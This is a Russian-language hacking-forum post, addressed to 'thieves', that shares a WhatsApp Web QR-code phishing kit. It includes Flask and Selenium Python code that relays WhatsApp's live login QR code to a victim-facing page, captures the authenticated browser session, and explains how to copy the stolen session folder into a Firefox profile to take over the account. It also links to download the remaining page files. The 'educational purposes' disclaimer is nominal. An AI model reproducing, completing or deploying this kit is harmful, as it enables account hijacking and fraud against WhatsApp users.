В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ! АВТОР НЕ ПОБУЖДАЕТ НИКОГО ОБМАНЫВАТЬ ЛЮДЕЙ Приветствую всех воров и крадунов форума! Сегодня хочу предоставить свой фиш WhatsApp череp QR с сохранением акка в сессию Сразу предупреждаю! КОД НЕДОПИСАН И ТРЕБУЕТ НЕЗНАЧИТЕЛЬНЫЗ ИЗМЕНЕНИЙ! ЭТО ПРОТОТИМ МОЕГО НЫНШЕНЕГО ФИША КОТОРЫЙ МОЖНО ПОСМОТРЕТЬ У МЕНЯ В ТЕЛЕГЕ НЕ РЕКЛАМА Все в ознакомительных целях, бла бла бла =================================================================================== ДЭМО ВИДЕО: Данные после авторизации сохраняются сюда: Содержимое папки переместить нужно по пути: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\e6wrnyw7.default-release\storage\default\https+++web.whatsapp.com Code C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\e6wrnyw7.default-release\storage\default\https+++web.whatsapp.com p.s. если папки вотса нет, создайте сами или перейдите на сайт https://web.whatsapp.com ================================================================================= ДАЛЬШЕ КОД: https://app.py from flask import Flask, render_template import random from fox import main import threading app = Flask(__name__) @app.route("/") def index(): session_id = random.randint(11111,99999) threading.Thread(target=lambda: main(session_id)).start() return render_template("index.html",session_id=session_id) @app.route("/error") def error(): return render_template("main.html") if __name__ == "__main__": app.run(host='0.0.0.0', port='5000', debug=True, use_reloader=False) Python from flask import Flask, render_template import random from fox import main import threading app = Flask(__name__) @app.route("/") def index(): session_id = random.randint(11111,99999) threading.Thread(target=lambda: main(session_id)).start() return render_template("index.html",session_id=session_id) @app.route("/error") def error(): return render_template("main.html") if __name__ == "__main__": app.run(host='0.0.0.0', port='5000', debug=True, use_reloader=False) https://fox.py from selenium import webdriver # Импорт основного класса WebDriver для взаимодействия с браузерами. from selenium.webdriver.firefox.options import Options # Импорт класса для настройки опций браузера Firefox. from webdriver_manager.firefox import GeckoDriverManager # Импорт менеджера драйвера Firefox для автоматической установки и настройки. from selenium.webdriver.support import expected_conditions as EC # Импорт модуля для ожидания определенных условий в браузере. from selenium.webdriver.common.by import By # Импорт класса для указания методов поиска элементов на страницах. import os # Импорт модуля для работы с операционной системой, например, для работы с файловой системой. import time # Импорт модуля для работы со временем, например, для задержек. import qrcode # Импорт модуля для генерации QR-кодов. from PIL import Image # Импорт класса Image из библиотеки PIL (Python Imaging Library) для работы с изображениями. def create_browser(session): options = Options() profile_path = f"ВАШ ПУТЬ\\qr\\static\\{session}" options.add_argument('-profile') options.add_argument(profile_path) driver = webdriver.Firefox(options=options) driver.get("https://web.whatsapp.com/") time.sleep(4) while True: try: last_qr = [''] element = driver.find_element(By.CLASS_NAME, "_19vUU") data_ref_value = element.get_attribute("data-ref") last_qr.append(data_ref_value) element.click() go_qr(data_ref_value,profile_path) with open(f'{profile_path}\\wait-status.txt','w') as f: f.write("0") f.close() except: time.sleep(7) with open(f'{profile_path}\\wait-status.txt','w') as f: f.write("1") f.close() driver.quit() def go_qr(txt,profile_path): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=4, ) qr.add_data(txt) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save(f"{profile_path}\\qrcode.png") def main(session): os.mkdir(f"ваш путь\\qr\\static\\{session}") create_browser(session) Python from selenium import webdriver # Импорт основного класса WebDriver для взаимодействия с браузерами. from selenium.webdriver.firefox.options import Options # Импорт класса для настройки опций браузера Firefox. from webdriver_manager.firefox import GeckoDriverManager # Импорт менеджера драйвера Firefox для автоматической установки и настройки. from selenium.webdriver.support import expected_conditions as EC # Импорт модуля для ожидания определенных условий в браузере. from selenium.webdriver.common.by import By # Импорт класса для указания методов поиска элементов на страницах. import os # Импорт модуля для работы с операционной системой, например, для работы с файловой системой. import time # Импорт модуля для работы со временем, например, для задержек. import qrcode # Импорт модуля для генерации QR-кодов. from PIL import Image # Импорт класса Image из библиотеки PIL (Python Imaging Library) для работы с изображениями. def create_browser(session): options = Options() profile_path = f"ВАШ ПУТЬ\\qr\\static\\{session}" options.add_argument('-profile') options.add_argument(profile_path) driver = webdriver.Firefox(options=options) driver.get("https://web.whatsapp.com/") time.sleep(4) while True: try: last_qr = [''] element = driver.find_element(By.CLASS_NAME, "_19vUU") data_ref_value = element.get_attribute("data-ref") last_qr.append(data_ref_value) element.click() go_qr(data_ref_value,profile_path) with open(f'{profile_path}\\wait-status.txt','w') as f: f.write("0") f.close() except: time.sleep(7) with open(f'{profile_path}\\wait-status.txt','w') as f: f.write("1") f.close() driver.quit() def go_qr(txt,profile_path): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=4, ) qr.add_data(txt) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save(f"{profile_path}\\qrcode.png") def main(session): os.mkdir(f"ваш путь\\qr\\static\\{session}") create_browser(session) __init__.py if __name__ == '__main__': from app import * import threading # threading.Thread(target=lambda: app.run(host='0.0.0.0', port='5000', debug=True, use_reloader=False)).start() threading.Thread(target=lambda: app.run(host='0.0.0.0', port='80', debug=True, use_reloader=False)).start() # Запуск корутины в цикле событий Python if __name__ == '__main__': from app import * import threading # threading.Thread(target=lambda: app.run(host='0.0.0.0', port='5000', debug=True, use_reloader=False)).start() threading.Thread(target=lambda: app.run(host='0.0.0.0', port='80', debug=True, use_reloader=False)).start() # Запуск корутины в цикле событий Там еще есть файлы html и css так же фав ико, для удобства загрузил их на файлообменник! Ссылка: https://dropmefiles.com.ua/ua/zeSTAN
turb, я не продаю фиш, а лишь в ознакомительных целях вылодил!! Не призываю никого обманывать на вотсапы